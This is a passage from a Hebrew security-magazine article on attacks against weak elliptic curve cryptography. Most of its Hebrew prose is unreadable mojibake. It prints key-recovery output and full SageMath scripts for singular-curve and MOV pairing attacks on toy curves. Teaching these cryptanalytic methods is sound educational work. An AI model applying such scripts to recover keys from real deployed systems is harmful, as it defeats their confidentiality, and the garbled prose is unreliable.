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˟ ˢ˷˰˧˸-AES ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵ ˞ˣˢ˷ ˢˮ˲˴ˢˢ ˥˸˲ˬ ˫˰-ὼ ˣ ,˸˲˸ˣ˷ˬˢ ˢˡˣ˵ˮˢ ˪˷-IV  ˞ˣˢ˷

ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵- ώ .˸˲˸ˣ˷ˬˢ ˢˡˣ˵ˮˢ ˪˷ 

:˪˷ˬ˪ ˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ 

Found point with order 2 so now can find keys of size up to 2 
Found point with order 197 so now can find keys of size up to 394 
Found point with order 4729 so now can find keys of size up to 1863226 
Found point with order 5 so now can find keys of size up to 9316130 
Found point with order 7 so now can find ke ys of size up to 65212910 
Found point with order 251 so now can find keys of size up to 16368440410 
Found point with order 3853 so now can find keys of size up to 63067600899730 
Found point with order 3 so now can find keys of size up to 189202802699190 
Found point with order 31 so now can find keys of size up to 5865286883674890 
Found point with order 41 so now can find keys of size up to 240476762230670490 
Found point with order 53 so now can find keys of size up to 12745268398225535970 
Found point with order 109 so now can find keys of size up to 1389234255406583420730 
Found point with order 59 so now can find keys of size up to 81964821068988421823070 
Found point with order 67 so now can find keys of size up to 5491643011622224262145690 
Found point with order 139 so now can find keys of size up to 763338378615489172438250910 
Found point with order 47 so now can find keys of size up to 35876903794927991104597792770 
Found point with order 683 so now can find keys of size up to 24503925291935817924440292461910 
Found point with order 739 so now can find keys of size up to 18108400790740569446161376129351490 
Found point with order 13 so now can find keys of size up to 235409210279627402800097889681569370 
Found point with order 19 so now can find keys of size up  to 4472774995312920653201859903949818030 
Found point with order 181 so now can find keys of size up to 809572274151638638229536642614917063430 
Found enough values! Running CRT...  
Found private key 317478138448458883020444580626044847652 
success!  

 ˸ˣ˧˩ˣ˟˧˯ ˞˧ˢ ˢ˲˵˸ˬˢὕὲ  ˶˷˞˩ὲ  ˸ˣˡˣ˵ˮˢ ˪˷ ˫˧˶ˡ˯ˢ ˭˧˟ˬ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˶ˡ˯ˢ ˞ˣˢ

ˢ ˞ˣˢ ˢ˲˵˸ˬ˟ "ˡ˟˩" ˧˩ˢ ˵˪˥ˢ ˧˩ ˢˤ .˸ˣ˧ˮˣˡˤˢ-Brute Force  ˭˧˟ˬ ˶˸ˣ˧˟ ˪ˣˡˠˢ "˪ˠ˰ˬ"ˢ ˪˰

ˤˢ ˢ˲˵˸ˬˢ ˭˩˪ .˭˧˦ˣ˪˥˪ ˦˰ˬ˩ ˢˤ ˨˶˰˟ ˦ˣ˪˷˪ ˪ˣ˩˧ ˞ˣˢ ˱˵ˣ˸ˢ ˪˷ ˣ˪ˤˬ˪ˣ ,˫˧ˮ˦˵ˢ "˫˧˪ˠ˰ˬ"ˢ ˸˞

 ˢˡˣ˵ˮˢ˷ ˵ˡˣ˟ ˞˪ ˷ˬ˸˷ˬˢ˷ ˞˧ˢ ˢˤ ˢ˶˵ˬ˟ ˢ˧˰˟ˢ ˷˶ˣ˷ ˶ˣˬ˞˩ .˸ˣ˧˩ˣ˟˧˯ ˸ˮ˧˥˟ˬ ˢ˪˧˰˧ ˸˧˯˥˧

 ˧˦˶˲ ˥˸˲ˬ ˣ˸ˣ˞˟ ˷ˬ˸˷ˬ ˷ˬ˸˷ˬˢ ,˱˯ˣˮ˟ .ˢ˸˧˞ ˡ˟ˣ˰ ˞ˣˢ˷ ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ ˪˪˩˟ ˪˟˧˵ ˞ˣˢ˷

 ˪˷ ˷ˡ˥ ˷ˣˬ˧˷ ˪˩˟ECDH.˧˸ˣ˥˧˦˟ ˨˩ ˪˩ ˞˪ ˢˤ˷ , 

 

˸˧˶˪ˣˠˮ˧˯ ˢˬˣ˵˰ˢ 

ˣ˵˰˷ ˸ˣ˟ˣ˷˥ˢ ˸ˣˮˣ˩˸ˢ ˸˥˞ ˞˧ˢ˷ ˞˧ˢ ˸˧˲˶ˠˣ˦˲˧˶˵ ˢ˥ˣ˦˟ ˸ˣ˧ˢ˪ ˧ˡ˩ ˫˧˧˵˪ ˢ˩˧˶˴ ˸˧˦˲˧˪˞ ˢˬ

˞˪ ˢ˧ˢ˸-˞˪ ˢˬˣ˵˰ .˸˧˶˪ˣˠˮ˧˯- ˪˷ "ˢ˦ˮˮ˧ˬ˧˶˵˯˧ˡ"ˢ ˞˶˵ˮ˷ ,ˢ˪˷ ˫˧ˣ˯ˬ ˨˶˰˷ ˢˬˣ˵˰ ˞˧ˢ ˸˧˶˪ˣˠˮ˧˯

 ˫˧˶˦ˬ˶˲ˢ˷˩ ˫˧˧˵˸ˬ ˢˤ .˯˲˞ˬ ˢˮˣ˷ ,ˢˬˣ˵˰ˢὥ x-ὦ :˭ˣ˧ˣˣ˷ˢ ˧˞ ˸˞ ˫˧ˬ˧˧˵ˬ ˢ˪˷ 

τὥ ςχὦ π 

˵ˬ ˞˪˷ ˢˬˣ˵˰˟ ˧ˮ˷ ˫˧ˬ˧˧˵ .˸˧˶˪ˣˠˮ˧˯ ˢˡˣ˵ˮ ˸˞˶˵ˮ˷ "˸˧˸˧˧˰˟" ˢˡˣ˵ˮ ˷˧ ˢˤˢ ˭ˣ˧ˣˣ˷ˢ ˧˞ ˸˞ ˸ˬ˧˧

 ˢ˪˞˩ ˸ˣˡˣ˵ˮ ˪˷ ˫˧ˠˣ˯- node x-cusp ˠˣ˯ˬ ˢˡˣ˵ˮ .node  ˨˩ ˢ˞˪ˣ˪ ˭˧ˬ ˢ˟ ˷˧˷ ˢˬˣ˵˰ ˪˰ ˸˞˴ˬˮ

 .ˢˬˣ˵˰˪ ˫˧ˮˣ˷ ˫˧˵˧˷ˬ ˧ˮ˷ ˣˤ ˢˡˣ˵ˮ ˨˶ˡ ˶˧˟˰ˢ˪ ˭˸˧ˮˣ ,˸˧˶˪ˣˠˮ˧˯ˢ ˢˡˣ˵ˮ˟ ˢˬ˴˰ ˸˞ ˸˩˸ˣ˥ ˞˧ˢ˷ 
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˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  ну 
 

 ˠˣ˯ˬ ˢˡˣ˵ˮcusp ) "˸ˡˡˣ˥ˬ" ˢˬˣ˵˰ˢ ˢ˟˷ ˢˡˣ˵ˮ ˞˧ˢSharp ˷˧ ˨˞ ˸ˣ˰ˣ˶ˤ ˧˸˷ ˢˮˬˬ ˸ˣ˞˴ˣ˧ ˣ˪˧˞˩ ,(

ˡ˥˞ ˵˧˷ˬ ˵˶ ˢ˟: 

 

]     minant.htmlhttps://mathworld.wolfram.com/EllipticDiscri[ 

 ˠˣ˯ˬ ˸ˣˡˣ˵ˮ˟node :ˢ˶ˣ˴˟ ˢˬˣ˵˰ˢ ˸˞ˣˣ˷ˬ ˸˞ ˠ˴˧˧˪ ˶˷˲˞ ˭˩˪ ,˪ˣ˲˩ ˷˶ˣ˷ ˷˧ 

ώ ὼ ὼ ὼ ὼ   άέὨ ὴ 

 ˢˮ˸˷ˬˢ ˸˲˪˥ˢ ˧ˡ˧ ˪˰ ˢ˪˞ˬ˷ ˢˬˣ˵˰ˢ ˸˞ "ˤ˧ˤˢ˪" ˭˸˧ˮὼ  ˢˮ˸˷ˬ˟ὼ ὼ :ˢ˶ˣ˴˪ ˰˧ˠˢ˪ˣ 

ώ ὼ ὼ ὼ ὼ   άέὨ ὴ 

 ˪˷ ˧˶˲˯ˬˢ ˨˶˰ˢ ˸˞ ˸˥˵˪ ˭˸˧ˮ .˫˧˶˧˴ˢ ˸˧˷˞˶˟ ˸˞˴ˬˮ ˸˧˶˪ˣˠˮ˧˯ˢ ˢˡˣ˵ˮˢ ˣ˧˷˩˰˷ ˨˩ὸ

ὼ ὼ  ˶ˣ˟˧˥ˢ ˸˪ˣ˰˲˷ ˨˩ ,˫˧ˬ˪˷ ˫˧˶˲˯ˬ˪ ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮ ˭˧˟ ˧ˣ˲˧ˬ ˶ˣ˴˧˪ ˧ˡ˩ ˣ˟ ˷ˬ˸˷ˢ˪ˣ

 ˢˡˣ˵ˮ ˪˩˪ .˫˧˶˲˯ˬ ˭˧˟ ˪˲˩ˢ ˸˪ˣ˰˲˪ ˢ˪ˣ˵˷ ˢ˧ˢ˸ ˢˬˣ˵˰˟ ˸ˣˡˣ˵ˮ ˭˧˟ὼȟώ ˮ ˶˲˯ˬˢ ˸˞ ˫˧˞˸

Ѝ

Ѝ
 ˸ˣˡˣ˵ˮ ˠˣˤ˪ ,˦˶˲˟ .Ὃ x-ὗ  ˷ ˨˩ὗ ὲὋ  ˫˧˶˲˯ˬ ˫˧˞˸ˢ˪ ˪˩ˣˮὫ x-ή  ˫˧˧˵˸˧˷ ˨˩ήḳ

Ὣ  άέὨ ὴ ˸˧˧˰˟ ˶˟˩ ˣˤˣ ,DLP  ˫˰ ˞ˬˠˣˡ˪ ˶ˣ˷˧˵ ˧˸˲˯ˣˢ ,ˢˤˢ ˨˧˪ˢ˸ˢ ˸˞ ˷˧˥ˬˢ˪ ˧ˡ˩ ."ˢ˪˧ˠ˶"

ˣ˲˧ˬ˟ .˶ˬ˞ˬˢ ˱ˣ˯˟ ˫˧˯ˮ˶˲˶˟ ˫˧ˮ˦˵ ˫˧˶˲˯ˬ ˫˧˶˷˧ˢ ˸ˣ˞ˣˣ˷ˬ˟ ˣˮ˷ˬ˸˷ˢ ˣˮ˧˷˰˷ ˧ώ Ѝὸὼ x-

 ώ Ѝὸὼ "ˣˮˤˤˢ"˷ ˧˶˥˞) ˸˧˶˪ˣˠˮ˧˯ˢ ˢˡˣ˵ˮ˟ ˶˧˟˰ˢ˪ ˭˸˧ˮ˷ ˫˧˵˧˷ˬˢ ˧ˮ˷˪ ˫˧ˬ˧˞˸ˬ˷ ˫˧˶˷˧ˢ ˢ˪˞ˣ ,

.ˣˤˢ ˢ˲˵˸ˬ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ˷ ˢ˟˧˯ˢ ˫˴˰˟ ˣˤˣ ,(ˢˬˣ˵˰ˢ ˸˞ 

 ˸˧˧˰˟DLP ˫˸˧˶ˣˠ˪˞ ˸˶ˤ˰˟ ˪˧˰˧ ˭˲ˣ˞˟ ˶ˣ˸˲˪ ˭˸˧ˮ ˸˞ˤ˩Pohlig-Hellman   ˭˸˧ˮ ˧˩ ,˫ˡˣ˵ ˣˮ˧˞˶ ˶˟˩˷

 ˫˸˧˶ˣˠ˪˞ˢ˷ ˣˮ˧˞˶ ,˸ˣˡˣ˵ˮ ˪˷ ˶˷˵ˢ˟ .ˢˬˣ˵˰˟ ˸ˣˡˣ˵ˮ ˪˰ ˫ˣ˵ˬ˟ ˫˧˪˧ˠ˶ ˫˧˶˲˯ˬ ˫ˠ ˪˰ ˣ˸ˣ˞ ˪˧˰˲ˢ˪

 ˶ˡ˯ ˷˧ ˣ˪˷ ,ˢˬˣ˵˰ ˪˰ ˸ˣˡˣ˵ˮ "˪ˠ˰ˬ"ˬ ˢˮˣ˷˟ .˵˪˥ ˶˲˯ˬ ˞ˣˢ ˶ˣ˦˶ˮˠˢ ˪˷ ˶ˡ˯ˢ˷˩ ˧˷ˣˬ˧˷ ˢˤˢ

 ˧ˮˣ˷˞˶ ˶˲˯ˬ ˣ˪ˣˡˣˬ ˫˧ˬ˪˷ ˫˧˶˲˯ˬ ˢˡ˷˟ ,ˣˢ˷˪˩ὴ ˣˢ ˶ˡ˯ˢ ˞ὴ ρ ˶˲˯ˬˢ ˫˞ .ὴ ρ  ˶˲˯ˬ ˞ˣˢ

 ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˧ ˫˸˧˶ˣˠ˪˞ˢ ˤ˞ ,˵˪˥DLP  ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞˴ˬˮ ˨˩ˣ ,˸ˣ˪˧˰˧˟ὲ . 

  

https://mathworld.wolfram.com/EllipticDiscriminant.html


 
 

   Elliptic Curve Cyptography 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  нф 
 

:ˢ˲˵˸ˬˢ ˸˞ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ 

p = 102360775616927576983385464260307534406913988994641083488371841417601237589487 
a = - 3 
b = 2 
assert ( 4* a^3 + 27* b^2) % p == 0 
 
Gx = 1777671135698746847568710125129424132255529153914112337834835240247819869964 
Gy = 6786424314307625790108882554225666781375821855884993473586521771737454762217 
Qx = 45541468695354471317248123146376609839909398850045396377931300808635064950836 
Qy = 42191909885728105279718027025083923092282618497451601162405594991792376530066 
 
x = GF(p)[ "x" ].gen()  
f = x^3 + a* x + b 
roots = f.roots()  
 
assert len (roots) == 2 # two roots, so one must be double  
if roots[ 0][ 1] == 2:  
    double_root = roots[ 0][ 0]  
    sin gle_root = roots[ 1][ 0]  
else :  
    double_root = roots[ 1][ 0]  
    single_root = roots[ 0][ 0]  
 
print ( "double root:" , double_root)  
print ( "single root:" , single_root)  
 
# map G and Q to the new "shifted" curve  
Gx = (Gx -  double_root)  
Qx = (Qx -  double_root)  
 
# Tra nsform G and Q into numbers g and q, such that q=g^n  
t = double_root -  single_root  
t_sqrt = t.square_root()  
 
def transform ( x, y, t_sqrt ):  
    return (y + t_sqrt * x) / (y -  t_sqrt * x)  
 
g = transform(Gx, Gy, t_sqrt)  
q = transform(Qx, Qy, t_sqrt)  
print ( "g:" , g)  
print ( "q:" , q)  
 
# Find the private key n  
print ( "Factors of p - 1:" , factor(p - 1))  
print ( "Calculating discrete log for g and q..." )  
found_key = discrete_log(q, g)  
print ( "Found private key:" , found_key)  
 
from Crypto.Util.number import long_to_bytes  
print ( " The secret is:" , long_to_bytes(found_key).decode())  

 ˫˧˞˴ˣˬ .˸˧˶˪ˣˠˮ˧˯ ˭˩˞ ˞˧ˢ˷ ˫˧˞ˡˣˣˬˣ ,˸˧˦˲˧˪˞ˢ ˢˬˣ˵˰ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˫˧˶˧ˡˠˬ ˢˤ ˡˣ˵ ˰˦˵˟

 ˷˶ˣ˷˟ ˫˧˷ˬ˸˷ˬ .˪ˣ˲˩ˢ ˷˶ˣ˷ˢ ˞ˣˢ ˫ˢ˧ˮ˧˟ˬ ˧ˬ ˫˧ˢˤˬˣ ,ˢˬˣ˵˰˪ ˫˧˞˸ˬˢ ˫ˣˮ˧˪ˣ˲ˢ ˧˷˶ˣ˷ ˸˞

 ˸ˣˡˣ˵ˮ˪ ˰˧ˠˢ˪ˣ ,ˢˬˣ˵˰ˢ ˸˞ "ˤ˧ˤˢ˪" ˧ˡ˩ ˪ˣ˲˩ˢὋ x-ὗ ˫˧˷˶ˣ˷ˢˬ ˫˧˟˷˥ˬ ˭˩ˬ ˶˥˞˪ ."˸ˣˤˤˣˬ" 

 ˸˞ ˣˮ˞˴ˬ˷Ѝὸ  ˸ˣˡˣ˵ˮˢ ˸˞ ˸ˣ˲ˬ˪ ˧ˡ˩ ˣ˟ ˫˧˷ˬ˸˷ˬˣὋ x-ὗ  ˫˧˶˲˯ˬ˪Ὣ x-ή ˪˷ ˵ˣ˶˧˲ˢ ˸˞ ˫˧˯˧˲ˡˬ .

ὴ ρ  ˸˞ ˶ˣ˸˲˪ ˭˸˧ˮ ˭˩˞˷ ˞ˡˣˣ˪ ˧ˡ˩) ˣ˪˷ ˫˧˧ˮˣ˷˞˶ˢ ˫˧ˬ˶ˣˠ˪DLP  ˸˞ ˫˧˟˷˥ˬ ˱ˣ˯˟˪ .(˸ˣ˪˧˰˧˟DLP 

 .˸ˤˣ˶˥ˬ˩ ˢ˞˴ˣ˸ˢ ˸˞ ˫˧˷˶˲ˬˣ 
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˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  ол 
 

:˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ 

double root: 1 
single  root: 
102360775616927576983385464260307534406913988994641083488371841417601237589485 
g: 79308184675041981395063385790064051127319168083579208141274962436724168376607 
q: 72551144069373709737718398534799929820619379063890479978458954196900267190559 
Factors of p- 1: 2 * 41 * 2422091127107 * 3224683479179 * 3224849279789 * 3269304069319 
* 3792634171577 * 3997021218613 
Calculating discrete lo g for g and q...  
Found private key: 
30943506368388267314266516224984737426569114488424608324579076903023329506337 
The secr et is: Digital Whisper is pretty great!  

˟ ˭˸˧ˮ ˞˪ ,˸˧˶˪ˣˠˮ˧˯ ˢˬˣ˵˰˟ ˶˟ˣˡˬ˷ ˪˪ˠ˟˷ ˟˪ ˫˧˷˪ ˷˧ .ˣˬ˴˰ ˧˦˶˲ˢ ˥˸˲ˬ˟ ˶˯ˬ ˧˸˞˟˥ˢ ˫˰˲ˢ-

SageMath  ˭˩˪ .˫ˡˣ˵ ˣˮ˧˷˰˷ ˣˬ˩ ˸ˣ˪ˣ˰˲ ˭˸˧˞ ˰˴˟˪ˣ ˸ˣˡˣ˵ˮ ˢ˧˪˰ ˶˧ˡˠˢ˪ ,ˢ˪˧ˠ˶ ˢ˶ˣ˴˟ ˢ˸ˣ˞ ˶ˣ˴˧˪

ˡˣ˵ˮˢ ˪˷ ˸ˣ˦ˮ˧ˡ˶ˣ˞ˣ˵ˢ ˸˞ ˧˸˶ˡˠˢ ˢˤ ˡˣ˵˟ ˢˡˣ˵ˮˢ ˸˞ ˟˷˥˪ ˧ˡ˩ .˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ˩ ˸ˣὗ  ˧˸˪˲˩ˢ

 ˫˸˧˶ˣˠ˪˞ ˪˷ ˧˪˷ˬ ˷ˣˬ˧ˬ ˸˶ˤ˰˟ ˧˦˶˲ˢ ˥˸˲ˬ˟ ˶ˣ˦˶ˮˠˢ ˸˞ ˧ˬ˴˰˟Double And Add. 

 

˶˲ˣ˯ ˢˬˣ˵˰ˢ-˸˧˶˪ˣˠˮ˧˯ 

 ˣ˪ˣˡˣˬ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˭˸ˮ˧ˢ˟ὴ ˞ˣˢ ˣ˪˷ ˶ˡ˯ˢ˷ ˶ˣ˦˶ˮˠˣ ,ὲˢ ,-Embedding Degree  ˯˥˧˟ ˢ˪˷

˶˲˯ˬˢ ˸ˣ˧ˢ˪ ˶ˡˠˣˬ ˶ˣ˦˶ˮˠ˪ Ὧ  ˢ˞ˣˣ˷ˬˢ ˸˞ ˫˧˧˵ˬˢ ˶˸ˣ˧˟ ˭˦˵ˢὴ ḳρ άέὨ ὲ ˧ˡ˧ ˪˰ .

 ˸˧˧˰˟ ˸˞ ˶˧ˬˢ˪ ˭˸˧ˮ ,˸ˣˬ˧ˣ˯ˬ ˸ˣ˧˴ˬ˶ˣ˲˯ˮ˶˦ECDLP  ˸˧˧˰˟˟DLP  ˶ˡ˯ˬ ˢˡ˷˟ὴ ˨˶˰ˢ .Ὧ  ˨˶ˡ˟ ˞ˣˢ

 ˣˬ˩ ˨˶ˣ˞ ˣ˸ˣ˞˟) ˡˣ˞ˬ ˪ˣˡˠ ˶˲˯ˬ ˪˪˩ὴ ˬ ˭˦˵ ˥˧ˮˮ) ˸˧˯˥˧ ˭˦˵ ˞ˣˢ ˶˷˞˩ ˨˞ ,(ˣˬ˴˰-с ˢˬˣ˵˰ˢ ,(

ˣ˯ ˸˞˶˵ˮ˶˲- ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪ ˧˷˰ˬ ˢ˧ˢˮˣ ˸˧˶˪ˣˠˮ˧˯DLP  ˸˞˶˵ˮ ˣˤ ˢ˲˵˸ˬ .˸ˣ˪˧˰˧˟ ˣˤˢMOV attack ,

 ˢ˪˷ ˫˧˞˧˴ˬˬˢ ˸˷ˣ˪˷ ˫˷ ˪˰)Menezes-Okamoto-Vanstone(. 

 ˢˡ˷˟ ˣˢ˷˪˩ ˶˲˯ˬ ˭ˢ˪ ˸ˣˬ˧˞˸ˬˣ ,˸ˣˡˣ˵ˮ ˧˸˷ ˸ˣ˪˟˵ˬ˷ ˸ˣ˧˴˵ˮˣ˲ ˭ˢ ˧˸˶˩ˤˢ˷ ˸ˣ˧˴ˬ˶ˣ˲˯ˮ˶˦ˢ

 ˭˸˧ˮ˷ ˸ˣ˧˴ˬ˶ˣ˲˯ˮ˶˦ .˫˧˟˩ˣ˶ˬˢ ˫˧˶˲˯ˬˢ ˭ˢ ˭ˢ˟ ˷ˬ˸˷ˢ˪Weil Pairing  ˣ˞Tate Pairing ˷ˬ˸˷ˮˣ ,

 ˢ˧˴ˬ˶ˣ˲˯ˮ˶˦ .ˢ˶ˣ˥˷ ˞˯˲ˣ˵˩ ˭ˢ˟Ὕ  ˸ˣˡˣ˵ˮ ˠˣˤ ˪˩˪ ˸ˬ˧˧˵ˬ ˸˞ˤ˩˷ὖȟὗ  ˫˧˶˲˯ˬˣάȟὲ  ˢˮˣ˩˸ˢ ˸˞

:ˢ˞˟ˢ 

Ὕάὖȟὲὗ Ὕὖȟὗ  

 ˸ˣˡˣ˵ˮ ˧˸˷ ˭˸ˮ˧ˢ˟ ˭˩˪Ὃ x-ὗ άὋ ˸˧˷˧˪˷ ˢˡˣ˵ˮ ˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˶ˣ˥˟˪ ˪˩ˣˮ ,Ὑ  ˸˞ ˟˷˥˪ˣ

Ὣ ὝὋȟὙ  ˸˞ˣή ὝὗȟὙ ὝάὋȟὙ ὝὋȟὙ Ὣ ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪ ˭˸˧ˮ ˭˞˩ˬ .DLP  ˪˰

Ὣ x-ή  ˶ˡ˯ˬ ˢˡ˷˟ὴ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˨˩˟ˣ ,ά ˶ˣ˷˧˵ ˶ˬ˞ˬˢ ˱ˣ˯˟ ˫˧˯ˮ˶˲˶˟ ˧˸˲˶˧˴ .

.ˣˤ ˢ˲˵˸ˬ ˧˶ˣ˥˞ˬ˷ ˢ˵˧˦ˬ˸ˬˢ ˪˰ ˦˶ˣ˲ˬ ˶˸ˣ˧ ˶˟˯ˢ˪ 
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˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  ом 
 

˟ˢ ˡˣ˵ˢ:ˢ˲˵˸ˬˢ ˸˞ ˰˴˟ˬ ˞ 

p = 682209701131405092329016993551 
a = - 35 
b = 98 
E = EllipticCurve(GF(p), [a, b])  
G = E(516365702870683577608927237052,  
      524474557735717484100814381066)  
 
# Find embedding degree k  
Gn = G.order()  
k = 1 
while p^k % Gn != 1:  
    k += 1 
print ( "Found k:" , k)  
 
# Select private key, and calculate public key Q  
private_key = 5072587499125503347 
Q = private_key * G 
 
# Define new curve mod p^k and the points on it  
Ek = EllipticCurve(GF(p ^ k), [a, b])  
Gk = Ek(G)  
Qk = Ek(Q)  
Rk = Ek.random_point ()  
 
# Find a point T with order d such that d divides G's order  
m = Rk.order()  
d = gcd(m, Gn)  
Tk = (m // d) * Rk 
assert Tk.order() == d 
assert (Gn* Tk).is_zero() # Point INFINITY  
 
# Using T, pair G and Q to integers g and q such that q=g^n (mod p^k)  
g = Gk.weil_pairing(Tk, Gn)  
q = Qk.weil_pairing(Tk, Gn)  
# Alternatively:  
#g = Gk.tate_pairing(Tk, Gn, k)  
#q = Qk.tate_pairing(Tk, Gn, k)  
 
# Make sure the pairing did not break anything  
assert g ^ private_key == q 
 
print ( "Calculating private key..." )  
found_key = q.log(g)  
assert found_key == private_key  
print ( "success!" )  
 
from Crypto.Util.number import long_to_bytes  
print ( "The private key is:" , long_to_bytes(found_key).decode())  

ˢ ˨˶˰ ˸˞ ˫˧˟˷˥ˬˣ ,ˢ˪˷ ˶ˣ˦˶ˮˠˣ ˢˬˣ˵˰ ˫˧˶˧ˡˠˬ ˢˤ ˡˣ˵ ˰˦˵˟-Embedding Degree  ˣ˩˶˰˷ ,ˣ˪˷

 ˞ˣˢ ˢˤ ˢ˶˵ˬ˟н  ˨˩˪ ˦˶˲ ,˸˧˶ˣ˵ˬˢ ˢˬˣ˵˰˪ ˢˢˤ ˢˬˣ˵˰ ˫˧˶˧ˡˠˬ .ˢ˲˵˸ˬˢ ˸˞ ˰˴˟˪ ˧˷˰ˬ ˢˤ ˭˩˪ˣ

 ˣ˪ˣˡˣˬ ˫˧˷˰ˮ ˢ˟ ˫˧˟ˣ˷˧˥ˢ˷ὴ  ˣ˪ˣˡˣˬ ˫ˣ˵ˬ˟ὴ ˸ˣˡˣ˵ˮˢ ˧˸˷ .Ὃ x-ὗ ˪˰ ˭˩ ˫ˠ ˸ˣ˞˴ˬˮ  ˢˬˣ˵˰ˢ

 ˸˞ ˵˪˥ˬ ˢ˪˷ ˶ˡ˯ˢ˷ ˸˧˷˧˪˷ ˢˡˣ˵ˮ ˫˧˞˴ˣˬ ˭˩ˬ ˶˥˞˪ .ˢ˷ˡ˥ˢὲ . 

 ˸ˣˡˣ˵ˮˢ ˸˞ ˫˧˲ˬˬ ,˸˧˷˧˪˷ˢ ˢˡˣ˵ˮˢ ˸˶ˤ˰˟Ὃ x-ὗ  ˫˧˶˲˯ˬ˪Ὣ x-ή  ˫˸˧˶ˠˣ˪ˢ ˸˞ ˫˧˟˷˥ˬˣ

.ˢˮˣ˩ˮ ˭˩˞ ˢ˪˟˵˸ˢ˷ ˢ˞˴ˣ˸ˢ˷ ˫˧˞ˡˣˣˬ ˱ˣ˯˟˪ .˫˶ˣ˟˰ ˧˦˶˵˯˧ˡˢ 
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:˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ 

Found k: 2 
Calculating privat e key...  
success!  
The private key is: Festivus  

 ˠˣ˯ˬ ˫˧ˬ˸˧˶ˣˠ˪˞ ˫ˣ˧ˢ ˫˧ˬ˧˧˵ ˸˧˟ˣ˷˧˥ ˢˮ˧˥˟ˬIndex Calculus  ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪ ˫˧˶˷˲˞ˬ˷DLP 

 ˸ˣ˧˩ˣ˟˧˯˟ ˸˞ˤ ˫˧˷ˣ˰ ˫ˢˣ ,˸˧˯˥˧ ˢ˪˧˰˧ ˢ˶ˣ˴˟Ὡ
Ⱦ

 
Ⱦ

 ˢ˞˶ˮ ˢˤˢ ˧ˣ˦˧˟ˢ ˧˪ˣ˞ .

˲ˬ ˪˷ ˫˧ˬ˸˧˶ˣˠ˪˞˪ ˢ˞ˣˣ˷ˢ˟ ˪˟˞ ,ˡ˧˥ECDLP  ˞˧ˢ ˫˸ˣ˧˩ˣ˟˧˯˷ὕ ὴ Ὡ ˪˵ ˶˸ˣ˧˷ ˫˧˞ˣ˶ ,

 ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪DLPˢ˷ ˢ˥ˮˢ˟ ˸˞ˤˣ ,-Embedding Degree ˟ ˭ˬˣ˯ˬ˷)-Ὧ.˭˦˵ ˭˩˞ ˞ˣˢ ( 

 
˸˧˪ˬˣˮ˞ ˢˬˣ˵˰ˢ 

ˣ˷ (ˢ˧˪˰˷ ˸ˣˡˣ˵ˮˢ ˸ˣˬ˩) ˢˬˣ˵˰ˢ ˶ˡ˯˷ ˢˮˣ˩˸ˢ ˸˞ ˷˧ ˸ˬ˧ˣ˯ˬ ˢˬˣ˵˰˪ ˫˞ ˯ˣ˪ˣˡˣˬ˪ ˵ˣ˧ˡ˟ ˢˣὴ ˤ˞ ,

) ˸˧˪ˬˣˮ˞ ˢˬˣ˵˰ ˸˞˶˵ˮ ˞˧ˢAnomalous Curve ˫˷˟ ˢ˲˵˸ˬ˪ ˢ˰˧ˠ˲ ˞˧ˢˣ ({ƳŀǊǘΩǎ !ǘǘŀŎƪ ˢ˲˵˸ˬ˟ .

 ˫˧˶˲˯ˬ˟ ˫˧˷ˬ˸˷ˬ ˣˤὴ-) ˫˧˧ˡ˞ὴ-adic number ˸ˣ˧˟ˣ˧˥) ˸ˣ˵ˤ˥ ˪˷ ˫ˣ˩˯˩ ˠ˧˴ˢ˪ ˭˸˧ˮ ˢˤ˩ ˶˲˯ˬ .(

 ˪˷ (˸ˣ˧˪˧˪˷ˣὴ  ˶˲˯ˬ ˧˪ˬ˶ˣ˲ ˭˲ˣ˞˟ .˫ˢ˷˪˩ ˫˧ˬˡ˵ˬ ˫˰ί :ˢ˶ˣ˴ˢˬ ˶ˣ˦ ˞ˣˢ ˢˤ˩ 

ί ὥὴ ὥ ὴ Ễ ὥ ὥὴ ὥὴ Ễ 

 ˥ˣˣ˦˟ ˫˧ˬ˪˷ ˫˧˶˲˯ˬ ˫ˢ ˫˧ˬˡ˵ˬˢ˷˩π ὥ ὴ ˸ˣ˵ˤ˥ˢ ˭ˣˣ˧˩˟ ˧˲ˣ˯ˮ˧˞ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˫ˣ˩˯ˢˣ ,

 ˪˷ ˸ˣ˧˟ˣ˧˥ˢὴ˫ˣ˵ˬ˟ ˪˞ˬ˷˪ ˭˧ˬ˧ˬ ˶˲˯ˬˢ ˸ˣ˶˲˯ ˪˰ "˫˧˪˩˸˯ˬ" ˢ˪˞˩ ˫˧˶˲˯ˬ˟ .  ˭˩˪ˣ ,˭˧ˬ˧˪ ˪˞ˬ˷ˬ

